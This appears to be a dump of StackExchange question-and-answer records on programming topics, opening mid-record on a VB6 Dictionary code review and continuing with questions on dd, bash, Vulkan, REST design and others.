0End FunctionPrivate Function IsSafeKeyByte(value As Variant) As Boolean    On Error Resume Next    IsSafeKeyByte = (this.TKey = vbNullString Or this.TKey = TypeName(value))    If IsSafeKeyByte Or OptionStrict Then Exit Function    Dim result As Boolean    result = CByte(value)    IsSafeKeyByte = (Err.number = 0)    'If this.OptionTrace And IsSafeKeyString(Value) Then Debug.Print TRACE: IsSafeKeyByte( & CStr(Value) & ) :  & IsSafeKeyByte    Err.Clear    On Error GoTo 0End FunctionPrivate Function IsSafeKeyBoolean(value As Variant) As Boolean    On Error Resume Next    IsSafeKeyBoolean = (this.TKey = vbNullString Or this.TKey = TypeName(value))    If IsSafeKeyBoolean Or OptionStrict Then Exit Function    Dim result As Boolean    result = CBool(value)    IsSafeKeyBoolean = (Err.number = 0)    'If this.OptionTrace And IsSafeKeyString(Value) Then Debug.Print TRACE: IsSafeKeyBoolean( & CStr(Value) & ) :  & IsSafeKeyBoolean    Err.Clear    On Error GoTo 0End FunctionPrivate Function IsSafeKeyCurrency(value As Variant) As Boolean    On Error Resume Next    IsSafeKeyCurrency = (this.TKey = vbNullString Or this.TKey = TypeName(value))    If IsSafeKeyCurrency Or OptionStrict Then Exit Function    Dim result As Boolean    result = CCur(value)    IsSafeKeyCurrency = (Err.number = 0)    'If this.OptionTrace And IsSafeKeyString(Value) Then Debug.Print TRACE: IsSafeKeyCurrency( & CStr(Value) & ) :  & IsSafeKeyCurrency    Err.Clear    On Error GoTo 0End FunctionPrivate Function IsSafeKeyInteger(value As Variant) As Boolean    On Error Resume Next    IsSafeKeyInteger = (this.TKey = vbNullString Or this.TKey = TypeName(value))    If IsSafeKeyInteger Or OptionStrict Then Exit Function    Dim result As Boolean    result = CInt(value)    IsSafeKeyInteger = (Err.number = 0)    'If this.OptionTrace And IsSafeKeyString(Value) Then Debug.Print TRACE: IsSafeKeyInteger( & CStr(Value) & ) :  & IsSafeKeyInteger    Err.Clear    On Error GoTo 0End FunctionPrivate Function IsSafeKeyLong(value As Variant) As Boolean    On Error Resume Next    IsSafeKeyLong = (this.TKey = vbNullString Or this.TKey = TypeName(value))    If IsSafeKeyLong Or OptionStrict Then Exit Function    Dim result As Boolean    result = CLng(value)    IsSafeKeyLong = (Err.number = 0)    'If this.OptionTrace And IsSafeKeyString(Value) Then Debug.Print TRACE: IsSafeKeyLong( & CStr(Value) & ) :  & IsSafeKeyLong    Err.Clear    On Error GoTo 0End FunctionPrivate Function IsSafeKeyDouble(value As Variant) As Boolean    On Error Resume Next    IsSafeKeyDouble = (this.TKey = vbNullString Or this.TKey = TypeName(value))    If IsSafeKeyDouble Or OptionStrict Then Exit Function    Dim result As Boolean    result = CDbl(value)    IsSafeKeyDouble = (Err.number = 0)    'If this.OptionTrace And IsSafeKeyString(Value) Then Debug.Print TRACE: IsSafeKeyDouble( & CStr(Value) & ) :  & IsSafeKeyDouble    Err.Clear    On Error GoTo 0End FunctionPrivate Function IsSafeKeySingle(value As Variant) As Boolean    On Error Resume Next    IsSafeKeySingle = (this.TKey = vbNullString Or this.TKey = TypeName(value))    If IsSafeKeySingle Or OptionStrict Then Exit Function    Dim result As Boolean    result = CSng(value)    IsSafeKeySingle = (Err.number = 0)    'If this.OptionTrace And IsSafeKeyString(Value) Then Debug.Print TRACE: IsSafeKeySingle( & CStr(Value) & ) :  & IsSafeKeySingle    Err.Clear    On Error GoTo 0End FunctionPrivate Function IsSafeValueString(value As Variant) As Boolean    On Error Resume Next    IsSafeValueString = (this.TValue = vbNullString Or this.TValue = TypeName(value))    If IsSafeValueString Or OptionStrict Then Exit Function    Dim result As Boolean    result = CStr(value)    IsSafeValueString = (Err.number = 0)    Err.Clear    On Error GoTo 0End FunctionPrivate Function IsSafeValueDate(value As Variant) As Boolean    On Error Resume Next    IsSafeValueDate = (this.TValue = vbNullString Or this.TValue = TypeName(value))    If IsSafeValueDate Or OptionStrict Then Exit Function    Dim result As Boolean    result = CDate(value)    IsSafeValueDate = (Err.number = 0)    'If this.OptionTrace And IsSafeValueString(Value) Then Debug.Print TRACE: IsSafeValueDate( & CStr(Value) & ) :  & IsSafeValueDate    Err.Clear    On Error GoTo 0End FunctionPrivate Function IsSafeValueByte(value As Variant) As Boolean    On Error Resume Next    IsSafeValueByte = (this.TValue = vbNullString Or this.TValue = TypeName(value))    If IsSafeValueByte Or OptionStrict Then Exit Function    Dim result As Boolean    result = CByte(value)    IsSafeValueByte = (Err.number = 0)    'If this.OptionTrace And IsSafeValueString(Value) Then Debug.Print TRACE: IsSafeValueByte( & CStr(Value) & ) :  & IsSafeValueByte    Err.Clear    On Error GoTo 0End FunctionPrivate Function IsSafeValueBoolean(value As Variant) As Boolean    On Error Resume Next    IsSafeValueBoolean = (this.TValue = vbNullString Or this.TValue = TypeName(value))    If IsSafeValueBoolean Or OptionStrict Then Exit Function    Dim result As Boolean    result = CBool(value)    IsSafeValueBoolean = (Err.number = 0)    'If this.OptionTrace And IsSafeValueString(Value) Then Debug.Print TRACE: IsSafeValueBoolean( & CStr(Value) & ) :  & IsSafeValueBoolean    Err.Clear    On Error GoTo 0End FunctionPrivate Function IsSafeValueCurrency(value As Variant) As Boolean    On Error Resume Next    IsSafeValueCurrency = (this.TValue = vbNullString Or this.TValue = TypeName(value))    If IsSafeValueCurrency Or OptionStrict Then Exit Function    Dim result As Boolean    result = CCur(value)    IsSafeValueCurrency = (Err.number = 0)    'If this.OptionTrace And IsSafeValueString(Value) Then Debug.Print TRACE: IsSafeValueCurrency( & CStr(Value) & ) :  & IsSafeValueCurrency    Err.Clear    On Error GoTo 0End FunctionPrivate Function IsSafeValueInteger(value As Variant) As Boolean    On Error Resume Next    IsSafeValueInteger = (this.TValue = vbNullString Or this.TValue = TypeName(value))    If IsSafeValueInteger Or OptionStrict Then Exit Function    Dim result As Boolean    result = CInt(value)    IsSafeValueInteger = (Err.number = 0)    'If this.OptionTrace And IsSafeValueString(Value) Then Debug.Print TRACE: IsSafeValueInteger( & CStr(Value) & ) :  & IsSafeValueInteger    Err.Clear    On Error GoTo 0End FunctionPrivate Function IsSafeValueLong(value As Variant) As Boolean    On Error Resume Next    IsSafeValueLong = (this.TValue = vbNullString Or this.TValue = TypeName(value))    If IsSafeValueLong Or OptionStrict Then Exit Function    Dim result As Boolean    result = CLng(value)    IsSafeValueLong = (Err.number = 0)    'If this.OptionTrace And IsSafeValueString(Value) Then Debug.Print TRACE: IsSafeValueLong( & CStr(Value) & ) :  & IsSafeValueLong    Err.Clear    On Error GoTo 0End FunctionPrivate Function IsSafeValueDouble(value As Variant) As Boolean    On Error Resume Next    IsSafeValueDouble = (this.TValue = vbNullString Or this.TValue = TypeName(value))    If IsSafeValueDouble Or OptionStrict Then Exit Function    Dim result As Boolean    result = CDbl(value)    IsSafeValueDouble = (Err.number = 0)    'If this.OptionTrace And IsSafeValueString(Value) Then Debug.Print TRACE: IsSafeValueDouble( & CStr(Value) & ) :  & IsSafeValueDouble    Err.Clear    On Error GoTo 0End FunctionPrivate Function IsSafeValueSingle(value As Variant) As Boolean    On Error Resume Next    IsSafeValueSingle = (this.TValue = vbNullString Or this.TValue = TypeName(value))    If IsSafeValueSingle Or OptionStrict Then Exit Function    Dim result As Boolean    result = CSng(value)    IsSafeValueSingle = (Err.number = 0)    'If this.OptionTrace And IsSafeValueString(Value) Then Debug.Print TRACE: IsSafeValueSingle( & CStr(Value) & ) :  & IsSafeValueSingle    Err.Clear    On Error GoTo 0End FunctionPrivate Sub RaiseErrorUnsafeType(member As String, suppliedType As String)    Err.Raise DictionaryErrors.TypeMismatchUnsafeType, _                StringFormat({0}.{1}, ToString, member), _                StringFormat(Type Mismatch. Expected: 'KeyValuePair<{0},{1}>', '{2}' was supplied., this.TKey, this.TValue, suppliedType)End SubPublic Sub Clear()    this.Encapsulated.ClearEnd SubPublic Function Contains(v As Variant) As Boolean    Contains = Values.Contains(v)End FunctionPublic Function ContainsKey(k As Variant) As Boolean    ContainsKey = Keys.Contains(k)End FunctionPublic Property Get NewEnum() As IUnknown'Gets an enumerator that iterates through the values held in the Dictionary.    Set NewEnum = this.Encapsulated.NewEnumEnd PropertyPublic Function Remove(v As Variant) As Boolean    Dim i As Long    i = Values.IndexOf(v)    If i <> -1 Then        this.Encapsulated.RemoveAt i        Remove = True    Else        Remove = False    End IfEnd FunctionPublic Function RemoveKey(k As Variant) As Boolean    Dim i As Long    i = Keys.IndexOf(k)    If i <> -1 Then        this.Encapsulated.RemoveAt i        RemoveKey = True    Else        RemoveKey = False    End IfEnd FunctionPublic Function TryGetValue(k As Variant, ByRef outValue As Variant) As Boolean    Dim i As Long    i = Keys.IndexOf(k)    Dim kvp As KeyValuePair    If i <> -1 Then        Set kvp = this.Encapsulated(i)        If IsObject(kvp.value) Then            Set outValue = kvp.value        Else            outValue = kvp.value        End If        TryGetValue = True    Else        TryGetValue = False    End IfEnd FunctionPublic Function ToList() As List    Set ToList = this.EncapsulatedEnd FunctionPublic Function ToString() As String    ToString = TypeName(Me) & < & IIf(this.TKey = vbNullString, Variant, this.TKey) & ,  & IIf(this.TValue = vbNullString, Variant, this.TValue) & >End FunctionI've written this a little while ago, in the mean time I've learned about CallByName, so now I wonder if there wouldn't be a really clever way to rework the IsTypeSafe method so as to avoid the Select Case blocks (CallByName doesn't seem to work for functions / methods with a return value)."  , "title": "Dictionary Implementation"  , "tags": "dictionary;vb6"  , "accepted_answer": "Although CallByName doesn't seem to have a return value (from the parameter tooltip), it does. This means if IsSafeKeyXxxxxx methods were Public you could use CallByName instead of the Select..Case block.However exposing all these methods through your Dictionary interface would be rather ugly. How about extracting all these small methods into their own TypeValidator class?Private Type tValueTypeValidator    TValue As String    OptionStrict As BooleanEnd TypePrivate this As tValueTypeValidatorOption ExplicitPublic Property Get TValue() As String    TValue = this.TValueEnd PropertyPublic Property Let TValue(ByVal value As String)    this.TValue = valueEnd PropertyPublic Property Get OptionStrict() As Boolean    OptionStrict = this.OptionStrictEnd PropertyPublic Property Let OptionStrict(ByVal value As Boolean)    this.OptionStrict = valueEnd PropertyPublic Function ToString() As String    ToString = TypeName(Me) & < & this.TValue & >End FunctionPublic Function IsSafeBoolean(value As Variant) As Boolean    On Error Resume Next    IsSafeBoolean = (this.TValue = vbNullString Or this.TValue = TypeName(value))    If IsSafeBoolean Or this.OptionStrict Then Exit Function    Dim result As Boolean    result = CBool(value)    IsSafeBoolean = (Err.Number = 0)    Err.Clear    On Error GoTo 0End FunctionPublic Function IsSafeByte(value As Variant) As Boolean    On Error Resume Next    IsSafeByte = (this.TValue = vbNullString Or this.TValue = TypeName(value))    If IsSafeByte Or this.OptionStrict Then Exit Function    Dim result As Boolean    result = CByte(value)    IsSafeByte = (Err.Number = 0)    Err.Clear    On Error GoTo 0End FunctionPublic Function IsSafeCurrency(value As Variant) As Boolean    On Error Resume Next    IsSafeCurrency = (this.TValue = vbNullString Or this.TValue = TypeName(value))    If IsSafeCurrency Or this.OptionStrict Then Exit Function    Dim result As Boolean    result = CCur(value)    IsSafeCurrency = (Err.Number = 0)    Err.Clear    On Error GoTo 0End FunctionPublic Function IsSafeDate(value As Variant) As Boolean    On Error Resume Next    IsSafeDate = (this.TValue = vbNullString Or this.TValue = TypeName(value))    If IsSafeDate Or this.OptionStrict Then Exit Function    Dim result As Boolean    result = CDate(value)    IsSafeDate = (Err.Number = 0)    Err.Clear    On Error GoTo 0End FunctionPublic Function IsSafeDouble(value As Variant) As Boolean    On Error Resume Next    IsSafeDouble = (this.TValue = vbNullString Or this.TValue = TypeName(value))    If IsSafeDouble Or this.OptionStrict Then Exit Function    Dim result As Boolean    result = CDbl(value)    IsSafeDouble = (Err.Number = 0)    Err.Clear    On Error GoTo 0End FunctionPublic Function IsSafeInteger(value As Variant) As Boolean    On Error Resume Next    IsSafeInteger = (this.TValue = vbNullString Or this.TValue = TypeName(value))    If IsSafeInteger Or this.OptionStrict Then Exit Function    Dim result As Boolean    result = CInt(value)    IsSafeInteger = (Err.Number = 0)    Err.Clear    On Error GoTo 0End FunctionPublic Function IsSafeLong(value As Variant) As Boolean    On Error Resume Next    IsSafeLong = (this.TValue = vbNullString Or this.TValue = TypeName(value))    If IsSafeLong Or OptionStrict Then Exit Function    Dim result As Boolean    result = CLng(value)    IsSafeLong = (Err.Number = 0)    Err.Clear    On Error GoTo 0End FunctionPublic Function IsSafeSingle(value As Variant) As Boolean    On Error Resume Next    IsSafeSingle = (this.TValue = vbNullString Or this.TValue = TypeName(value))    If IsSafeSingle Or this.OptionStrict Then Exit Function    Dim result As Boolean    result = CSng(value)    IsSafeSingle = (Err.Number = 0)    Err.Clear    On Error GoTo 0End FunctionPublic Function IsSafeString(value As Variant) As Boolean    On Error Resume Next    IsSafeString = (this.TValue = vbNullString Or this.TValue = TypeName(value))    If IsSafeString Or this.OptionStrict Then Exit Function    Dim result As Boolean    result = CStr(value)    IsSafeString = (Err.Number = 0)    Err.Clear    On Error GoTo 0End FunctionAnd since that code was copy-pasted from an existing List class in the first place, there's already a case for reusing that TypeValidator class.That change would require the ValidateItemType method to be modified as such:Private Function ValidateItemType(kvp As KeyValuePair, Optional ThrowOnUnsafeType As Boolean = False) As Boolean    If this.TKey = vbNullString And this.TValue = vbNullString Then        this.TKey = TypeName(kvp.key)        this.IsRefTypeKey = IsObject(kvp.key)        this.TValue = TypeName(kvp.value)        this.IsRefTypeValue = IsObject(kvp.value)        this.KeyValidator.TValue = this.TKey '<<< here        this.ValueValidator.TValue = this.TValue '<<< here    End If    ValidateItemType = IsTypeSafe(kvp)    If ThrowOnUnsafeType And Not ValidateItemType Then RaiseErrorUnsafeType ValidateItemType(), kvp.ToStringEnd FunctionThe OptionStrict property setter would have to be affected as well:Public Property Let OptionStrict(value As Boolean)    this.Encapsulated.OptionStrict = value    this.KeyValidator.OptionStrict = value ' <<< here    this.ValueValidator.OptionStrict = value ' <<< hereEnd PropertyAs well as the Class_Initialize method:Private Sub Class_Initialize()    Set this.Encapsulated = New List    Set this.KeyValidator = New TypeValidator ' <<< here    Set this.ValueValidator = New TypeValidator ' <<< here    this.Encapsulated.OptionStrict = True    this.KeyValidator.OptionStrict = True ' <<< here    this.ValueValidator.OptionStrict = True ' <<< hereEnd SubAnd of course the private type of this:Private Type tDictionary    Encapsulated As List    TKey As String    IsRefTypeKey As Boolean    TValue As String    IsRefTypeValue As Boolean    KeyValidator As TypeValidator ' <<< here    ValueValidator As TypeValidator ' <<< hereEnd TypeThe IsTypeSafe method implementation could then be simplified to this - gone, the Select..Case blocks!Public Function IsTypeSafe(kvp As KeyValuePair) As Boolean'Determines whether a value can be safely added to the List.    IsTypeSafe = (this.TKey = vbNullString Or this.TKey = TypeName(kvp.key)) _             And (this.TValue = vbNullString Or this.TValue = TypeName(kvp.value))    If IsTypeSafe Then Exit Function    IsTypeSafe = CallByName(this.KeyValidator, IsSafe & this.TKey, VbMethod, kvp.key)    If Not IsTypeSafe Then Exit Function    IsTypeSafe = CallByName(this.ValueValidator, IsSafe & this.TValue, VbMethod, kvp.value)ErrHandler:    'swallow overflow errors:    If Err.Number = 6 Then        Err.Clear        Resume Next    ElseIf Err.Number <> 0 Then        RaiseErrorUnsafeType IsTypeSafe(), kvp.ToString    End IfEnd FunctionThis also leaves you with a much, much cleaner list of members, as a side-effect of separating the type validation concerns into their own class:Busted! Yes, I work with a French VB6 IDE!"  } 
{  "id": "_unix.196715"  , "question": "I have a file that I want to pad until it reaches 16 MiB (16777216 bytes). Currently it is 16515072 bytes. The difference is 262144 bytes.How do I pad it?This doesn't seem to be working: cp smallfile.img largerfile.imgdd if=/dev/zero of=largerfile.img bs=1 count=262144"  , "title": "How to pad a file to a desired size?"  , "tags": "dd"  , "accepted_answer": "Drop the of=largerfile.txt and append stdout to the file:dd if=/dev/zero bs=1 count=262144 >> largerfile.txt"  } 
{  "id": "_unix.382652"  , "question": "From https://unix.stackexchange.com/a/381782/674declare behaves very differently when it's called in that global scope and when in a function (I'm not talking of the kind of separate scope that is introduced by subshells or associated with the environment).How do scopes and namespaces work in subshells and the original shell?Thanks."  , "title": "How do scopes and namespaces work in subshells and the original shell?"  , "tags": "bash;subshell"  } 
{  "id": "_unix.104510"  , "question": "Maybe there is a simple-obvious solution for this but I dont know how to make mc to be able to execute programs when I press enter/double click on it and I am not logged in as root... the executable has executable rights for all.I get this whenever I try to execute anything by hiting enter or double clicking or tryingto call a program from the command line. When I run the program to be executed with sudo it opens it up nicely, but I like the pressing enter method and would not like to type always the file name. Or how could I setup only some executables to execute from mc?Here is my /etc/mc folder:drwxr-xr-x. 121 root root 12288 Nov 14 10:59 ..-rw-r--r--.  1 root root 12278 Aug 22  2010 cedit.menu-rw-r--r--.  1 root root  788 Aug 22  2010 edit.indent.rc-rw-r--r--.  1 root root  247 Aug 22  2010 edit.spell.rcdrwxr-xr-x.  2 root root  4096 Oct 15 10:50 extfs-rw-r--r--.  1 root root  1024 Aug 22  2010 filehighlight.ini-rw-r--r--.  1 root root  226 Aug 22  2010 mc.charsets-rw-r--r--.  1 root root 17353 Aug 22  2010 mc.ext-rw-r--r--.  1 root root  7936 Aug 22  2010 mc.keymap-rw-r--r--.  1 root root  7936 Aug 22  2010 mc.keymap.default-rw-r--r--.  1 root root  7913 Aug 22  2010 mc.keymap.emacs-rw-r--r--.  1 root root  1979 Aug 22  2010 mc.lib-rw-r--r--.  1 root root  9556 Aug 22  2010 mc.menu-rw-r--r--.  1 root root 10126 Aug 22  2010 mc.menu.sr-rw-r--r--.  1 root root  6259 Aug 22  2010 SyntaxThe mc from /user/bin-rwxr-xr-x.  1 root root      988432 Aug 22  2010 mcFor example, here is a file I would like to execute through mc with normaluser:-rwxrwxr-x  1 root hUSERS  205780 Jun 11 16:03 DBU3LThese are the putty log's last lines:[44m*DBU3L[23;3H[1;1H[39m[49m[K[K[K[K[K[K[K[K[K[K[K[K[K[K[K[K[K[K[K[K[K[K[K[K[1;80H[?1002l[?1001r[?1l>[24;1H(B[m[39;49m[K[?1049l>[?47l8[m$ ./DBU3Lmv -v output:GNU Midnight Commander 4.7.0.2Virtual File System: tarfs, extfs, cpiofs, ftpfs, fish, mcfs, smbfsWith builtin EditorUsing system-installed S-Lang library with terminfo databaseWith subshell support as defaultWith support for background operationsWith mouse support on xterm and Linux consoleWith internationalization supportWith multiple codepages supportData types: char 8 int 32 long 64 void * 64 off_t 64 ecs_char 8I saw in a forum a program called sam that could be used to solve the problem, but wouldnot like to reinvent the wheel if this could be fixed by changing somerights or mc parameters."  , "title": "executing any program in mc ends putty session if not logged in with root"  , "tags": "permissions;putty;mc"  , "accepted_answer": "The problem was that the user launching mc didn't had /bin/bash as its init script but a scpecific script. To keep the init script that is used I had to add into it this little bit of code to enable mc to execute:mc=`ps $PPID | grep mc`if [ ! -z $mc -a $mc!=  ]then    if [ ! -z admin ]    then        bash $1 $2 $3 $4 $5        exit    fifiThis looks up if mc is launched and if it is, it lets the user's mc to execute commands with it's pass it over to bash mechanism - allows it only if the user is in an administrators group."  } 
{  "id": "_cstheory.7534"  , "question": "Let $\\bf X$ be a binary vector of $n$ (non-independent) random variables $X_1,\\ldots, X_n$. Covariance of two random variables is defined as follows: $$\\mathrm{cov}(X_i, X_j) = \\mathrm{E}(X_i - \\mu_i)(X_j - \\mu_j),$$ where $\\mu_i = \\mathrm{E}(X_i).$ Covariance matrix for $\\bf X$ is $n\\times n$ symmetric matrix $C$, whose elements $c_{ij} = \\mathrm{cov}(X_i, X_j)$.Given a matrix $C$, are there any known efficient sampling algorithms for distribution that is close to the distribution of $\\bf X$ (= distribution with the same matrix $C$)?The same question for the case where $C$ is a correlation matrix:$$c_{ij} = \\frac{\\mathrm{cov(X_i, X_j)}}{\\sigma(X_i)\\sigma(X_j)},$$where $\\sigma(X_i)$ is a standard deviation of $X_i$.Any hints on papers etc. are welcome!Thanks, Sasha"  , "title": "Sampling from a distribution with a given covariance matrix"  , "tags": "ds.algorithms;pr.probability"  } 
{  "id": "_codereview.13840"  , "question": "I have a button group that looks like this:The user selects one of the options and they can search for a person based on that criteria.I wrote a switch statement that populates the URL to make the ajax call to  get the data based on the option selected.However, the down side of this is that every time an option is added or removed, I have to modify the corresponding JavaScript.Should I re-factor the code to use data- attributes on the a tags, that contain the URL to use?         <li><a href=# id=btUsername data-url=SearchByUsername>Username</a></li>        <li><a href=# id=btLastName data-url=SearchByLastName>Last Name</a></li>        <li><a href=# id=btStudentID data-url=SearchByStudentID>Student ID</a></li>Or is that considered bad mojo?What I have working:HTML<div id=go-btn-group class=btn-group>    <a class=btn dropdown-toggle btn-success data-toggle=dropdown href=#>        <img src=../../img/search.png alt=Search />    <span class=caret></span>    </a>    <ul id=btGo-dropdown class=dropdown-menu>        <li><a href=# id=btUsername>Username</a></li>        <li><a href=# id=btLastName>Last Name</a></li>        <li><a href=# id=btStudentID>Student ID</a></li>    </ul></div>JS    // All of the list items in the drop down     var $searchOptions = $('#btGo-dropdown li');    $searchOptions.click(function (e) {        var searchBy = '';        // find all of the child links, which are        // the options themselves        var $lis = $searchOptions.find('a');        // remove the active class, if exists        $lis.filter('.active').removeClass('active');        // add the active class to show the criteria selected        var clickedOptionId = e.target.id;        $('#' + clickedOptionId).addClass('active');        // depending on the option selected, populate        // searchBy with the URL to make the ajax call to        switch (clickedOptionId) {            case btUsername:                searchBy = 'SearchByUsername';                break;            case btLastName:                searchBy = 'SearchByLastName';                break;            case btStudentID:                searchBy = 'SearchByStudentID';                break;            default:        }        // create an object that abstracts the search data        var search = {            url: searchBy,            data: { criteria: $search.attr('value') }        };        // make the call to the controller and get the raw Json        var itemModels = $.ajax({            url: search.url,            type: GET,            contentType: application/json; charset=utf-8,            dataType: json,            data: search.data,            async: false        }).responseText;        // Use knockout.js to bind the information to the page        viewModel.rebindSearchItems(itemModels);    });"  , "title": "JavaScript switch statement to make an AJAX call"  , "tags": "javascript;jquery;html5"  , "accepted_answer": "I don't really think putting the URL in your HTML is a good idea; Separating presentation from functionality and all that...However, instead of using a switch statement, you should be using an object literal to map the URLs to the clickedOptionId key:var searchURLs = {    'btUsername'    : 'SearchByUsername',    'btLastName'    : 'SearchByLastName',    'btStudentID'   : 'SearchByStudentID'};var search = {    url: searchURLs[clickedOptionId],    data: { criteria: $search.attr('value') }};"  } 
{  "id": "_computergraphics.3641"  , "question": "I'm building an engine, which has Vulkan for its primary rendering engine. But to have at least some backwards compatibility with devices that don't have drivers for it (mainly mobile) I want to implement an OpenGL fallback. Now, how do I check what API's are available in the current system?I want to check if Vulkan support exists, if not then if OpenGL support exists and if not that then crash."  , "title": "How to check which API's are available on a given machine?"  , "tags": "opengl;c++;vulkan"  , "accepted_answer": "Basic Vulkan availability can be checked by the presence of the loader dynamic library. This will reside in a standard place where you can load it with dlopen or LoadLibrary. If it fails to load then vulkan is not installed. If it does load then you can get the vkGetInstanceProcAddr function pointer from it with dlsymor GetProcAddress. After that you can query the devices as normal and decide whether or not it's sufficient to support your app."  } 
{  "id": "_cs.63837"  , "question": "Question:  Given an array of positive integers and a target total of X, find if there exists a contiguous subarray with sum = X E.g:  If array is [1, 3, 5, 18] and X = 8 Output: True, if X = 10, output is FALSE.Approach I can think of is to expand sub-array window, until you hit an index such that sum of sub-array == target or > target.  If > target, decrease sub-array by moving first element to the right.It appears that in worst-case complexity is O(N) since I am moving either start or end index of sub-arrays, so int worst case I will just spend 2*N iterations. Is that correct analysis?BOOL checkIfArrHasSum(long *arr, size_t size; long target){  long currSum = [arr[0] longValue];  long startInd = 0;  long nextIndToCheck = 1;  while (nextIndToCheck < size)  {    if(currSum == target) return YES;    if (currSum + arr[nextIndToCheck] == target)      return YES;    else if(currSum + arr[nextIndToCheck] < target)    {      currSum = currSum + arr[nextIndToCheck];      nextIndToCheck++;    }    else    {      currSum = currSum - arr[startInd];        startInd++;    }    if(startInd == nextIndToCheck)    {        nextIndToCheck = startInd+1;        currSum = arr[nextIndToCheck];    }  }  return NO;}"  , "title": "Algorithmic complexity of Sub-array with sum = target algorithm"  , "tags": "algorithm analysis;runtime analysis;search"  } 
{  "id": "_cstheory.8047"  , "question": "Wagner and Wagner, in Between min cut and graph bisection (MFCS 1993), studied a variant of minimum bisection problem where we seek a cut with minimum size such that each partition has at least $\\log n$ verticies. They stated that the complexity of this variant is an open problem since they did not find an efficient algorithm nor NP-hardness proof.Has anyone setteled the complexity of $\\log n $ balanced graph partition?"  , "title": "Complexity of balanced graph partition problem"  , "tags": "cc.complexity theory;open problem"  } 
{  "id": "_datascience.8266"  , "question": "There is a package named segmented in R. Is there a similar package in python?"  , "title": "Is there a library that would perform segmented linear regression in python?"  , "tags": "python;regression;linear regression"  , "accepted_answer": "No, currently there isn't a package in Python that does segmented linear regression as thoroughly as those in R (e.g. R packages listed in this blog post). Alternatively, you can use a Bayesian Markov Chain Monte Carlo algorithm in Python to create your segmented model.Segmented linear regression, as implemented by all the R packages in the above link, doesn't permit extra parameter constraints (i.e. priors), and because these packages take a frequentist approach, the resulting model doesn't give you probability distributions for the model parameters (i.e. breakpoints, slopes, etc). Defining a segmented model in statsmodels, which is frequentist, is even more restrictive because the model requires a fixed x-coordinate breakpoint.You can design a segmented model in Python using the Bayesian Markov Chain Monte Carlo algorithm emcee. Jake Vanderplas wrote a useful blog post and paper for how to implement emcee with comparisons to PyMC and PyStan.Example:Segmented model with data:Probability distributions of fit parameters:Link to code for segmented model.Link to (large) ipython notebook."  } 
{  "id": "_softwareengineering.337268"  , "question": "I'm building a Json REST API for my application, and have some doubts about the design itself. My application has organizations and also equipment which belongs to organizations. That would be an example of the organizations API:/organizations: Loads all the organizations from the application/organizations/{id}: Loads a specific organization by idThis seems quite clear. However now I want to access equipment, which is accessible by id or code. The id is unique for the application, whereas the code is unique per organization. Some choices:/organizations/{id}/equipment: Loads the equipment by organization. This seems quite clear to me/organizations/{idOrg}/equipment/{idEquip}: Equipment by id. Isn't the organization id quite redundant here?/organizations/{idOrg}/equipment/code/{code}: Seems it makes sense, but probably would be better to pass code as a  parameter./organizations/{idOrg}/equipment?id={idEquip}: Best choice?/organizations/{idOrg}/equipment?code={code}: Best choice?In my opinion, the methods below look better just for grabbing equipment (even if the return a list, while the method is supposed to return a single value or nothing). However I still have more relations into equipment, which these methods don't seem proper to fit. For example how to extend the API to integrate the methods to load files for each equipment?UPDATEIt should be considered that organizations are structured hierarchically, so we've got organization trees and if org1 contains org2 and one equipment belongs to org2, it also belongs to org1."  , "title": "Some doubts about a proper REST API design"  , "tags": "design;rest;api"  , "accepted_answer": "When considering REST it is important to understand and design it as you are taking actions against a resource at the location, and not like making a remote function call.I understand you are in doubt with your design for Equipment by id.I would like to be the api call like this - /organizations/{idOrg}/equipment/{idEquip}Reasons being - With this design, you are very clearly stating that you are looking for a particular equipment in an organization.Now you can also call other verbs like PUT, DELETE etc. against the same resource and adhere to the REST principles. For example, you would call the same api with delete to delete this resource or call it with put to updated it and send the updated data in request body.And as you said Id for organization looks redundant but actually it is not. What we are saying with this is that get me an organization with this id and give me its related entity i.e. an equipment. Probably,  equipment in alone may not make sense to the API if any related information from organization is required. And in case you want to return just an equipment with it's id, then you should have a separate api for it, something like - /equipments/{idEquip}Query string parameters are suggested when you further want to drill down the resources with filter, paging or sorting etc. For example - /organizations/{idOrg}/equipments/?type=heavyUpdate (for updated Q. and comments) - Sometimes it becomes difficult when we visualize our api design in terms of our code. To keep it simple, if an equipment is part of any organization, then the api should get that equipment, of course in relation to that particular organization. To add a new equipment to org3 you will use put on org3 i.e. /organizations/3. To modify and equipment already in org3 you will use put on equipment i.e. /organizations/3/equipment/1. And if you need to add a new equipment independently, you would call post on equipment i.e. /equipmentYou can also consider your object hierarchy to make it more intuitive and logical if requiredSuggest to read this series on Restful Api design"  } 
{  "id": "_softwareengineering.147128"  , "question": "If I'm using a switch statement to handle values from an enum (which is owned by my class) and I have a case for each possible value - is it worth adding code to handle the default case?enum MyEnum{    MyFoo,    MyBar,    MyBat}MyEnum myEnum = GetMyEnum();switch (myEnum){    case MyFoo:        DoFoo();        break;    case MyBar:        DoBar();        break;    case MyBat:        DoBat();        break;    default:        Log(Unexpected value);        throw new ArgumentException() }I don't think it is because this code can never be reached (even with unit tests).My co-worker disagrees and thinks this protects us against unexpected behavior caused by new values being added to MyEnum.What say you, community?"  , "title": "switch statement - handling default case when it can't be reached"  , "tags": "unit testing;maintenance;enum"  , "accepted_answer": "Including the default case doesn't change the way your code works, but it does make your code more maintainable. By making the code break in an obvious way (log a message and throw an exception), you're including a big red arrow for the intern that your company hires next summer to add a couple features. The arrow says: Hey, you! Yes, I'm talking to YOU! If you're going to add another value to the enum, you'd better add a case here too. That extra effort might add a few bytes to the compiled program, which is something to consider. But it'll also save someone (maybe even the future you) somewhere between an hour and a day of unproductive head-scratching."  } 
{  "id": "_webapps.10645"  , "question": "As a user of Google Calendar, I can set up my account to display a set of individual calendars (say 3 calendars... Ron's, Jeff's and Conf Room A's).  Is there any way to encapsulate this set of calendars and expose it?The goal would be to be able to put a single link on a web page that, when clicked, would display a single view with the 3 calendars (Ron's, Jeff's and Conf Room A's)?"  , "title": "encapsulate a set of Google calendars"  , "tags": "google calendar"  , "accepted_answer": "I had a similar need, and was able to create an aggregate calendar from several individual calendars.This fellow has laid out the steps very nicely: http://murphymac.com/share-busy-free-info-for-multiple-google-calendars/"  } 
